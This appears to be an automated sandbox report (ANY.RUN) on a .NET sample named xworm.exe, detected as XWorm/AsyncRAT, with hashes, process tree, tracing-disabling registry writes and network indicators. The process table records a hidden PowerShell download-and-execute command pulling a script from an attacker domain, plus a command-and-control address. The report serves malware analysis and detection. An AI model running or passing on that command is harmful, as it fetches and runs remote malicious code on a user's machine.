| File name: | xworm.exe |
| Full analysis: | https://app.any.run/tasks/3adca903-c116-4868-b05e-d3d588cbe1ef |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | June 04, 2025, 18:54:32 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | B3A89B0BF85BDA317F428C807637F9D5 |
| SHA1: | 99C5F8B888CD29574173AE0F03F6AEEBAC3AB2E1 |
| SHA256: | DDFC9420DD7D61FF16C24433BB7BC678301F8FAE7842FD1298E3851FD04A912E |
| SSDEEP: | 384:5oiRCxbvjAMFH5r6jRIXDft4mjhcvZnlNUNsbsGYhC0wpkFMAfNLT2OZwxcV2v9Z:WxbvVFZdjynlNjbsyQFm9YCj2O7hqfY |
MALICIOUS
ASYNCRAT has been found (auto)
- xworm.exe (PID: 7876)
XWORM has been detected (YARA)
- xworm.exe (PID: 7876)
Run PowerShell with an invisible window
- powershell.exe (PID: 6584)
XWORM has been detected (SURICATA)
- xworm.exe (PID: 7876)
SUSPICIOUS
Connects to unusual port
- xworm.exe (PID: 7876)
Possibly malicious use of IEX has been detected
- cmd.exe (PID: 6032)
Starts CMD.EXE for commands execution
- xworm.exe (PID: 7876)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 6032)
Contacting a server suspected of hosting an CnC
- xworm.exe (PID: 7876)
INFO
Reads the computer name
- xworm.exe (PID: 7876)
Disables trace logs
- xworm.exe (PID: 7876)
- powershell.exe (PID: 6584)
Reads Environment values
- xworm.exe (PID: 7876)
Reads the machine GUID from the registry
- xworm.exe (PID: 7876)
Checks supported languages
- xworm.exe (PID: 7876)
Checks proxy server information
- xworm.exe (PID: 7876)
- powershell.exe (PID: 6584)
Reads the software policy settings
- xworm.exe (PID: 7876)
- slui.exe (PID: 7792)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 6584)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (21.3) |
| .scr | | | Windows screen saver (10.1) |
| .dll | | | Win32 Dynamic Link Library (generic) (5) |
| .exe | | | Win32 Executable (generic) (3.4) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2025:02:03 13:31:09+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 11 |
| CodeSize: | 34304 |
| InitializedDataSize: | 2048 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xa54e |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| FileDescription: | |
| FileVersion: | 1.0.0.0 |
| InternalName: | ArchAngel.exe |
| LegalCopyright: | |
| OriginalFileName: | ArchAngel.exe |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Total processes
131
Monitored processes
6
Malicious processes
1
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 4224 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
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| 5096 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6032 | cmd.exe /c powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbpxworm.php" | iex" && exit | C:\Windows\System32\cmd.exe | — | xworm.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6584 | powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbpxworm.php" | iex" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7792 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7876 | "C:\Users\admin\Desktop\xworm.exe" | C:\Users\admin\Desktop\xworm.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Version: 1.0.0.0 Modules
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Total events
6 137
Read events
6 123
Write events
14
Delete events
0
Modification events
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (7876) xworm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\xworm_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
Executable files
0
Suspicious files
1
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6584 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ancmliu4.jhr.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6584 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dcremlcd.y3a.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6584 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:C542BA48B09A9CB263768FF18D34372B | SHA256:81F0CDCC4F32474E46E853E7D871E2F4369AA4D41568AEA225CB58D35F5F3132 | |||
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HTTP(S) requests
5
TCP/UDP connections
31
DNS requests
16
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | DE | binary | 825 b | whitelisted |
— | — | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | NL | binary | 868 b | whitelisted |
6544 | svchost.exe | GET | 200 | 23.54.109.203:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | DE | binary | 471 b | whitelisted |
7356 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | NL | binary | 419 b | whitelisted |
7356 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | NL | binary | 408 b | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
6544 | svchost.exe | 20.190.159.130:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
7876 | xworm.exe | 104.22.69.199:443 | pastebin.com | CLOUDFLARENET | — | whitelisted |
7876 | xworm.exe | 196.251.86.216:2121 | — | — | SC | unknown |
6544 | svchost.exe | 40.126.31.128:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
6544 | svchost.exe | 23.54.109.203:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
pastebin.com |
| whitelisted |
dayzcheatcheck.online |
| unknown |
ocsp.digicert.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Not Suspicious Traffic | INFO [ANY.RUN] Online Pastebin Text Storage |
7876 | xworm.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 43 |
7876 | xworm.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |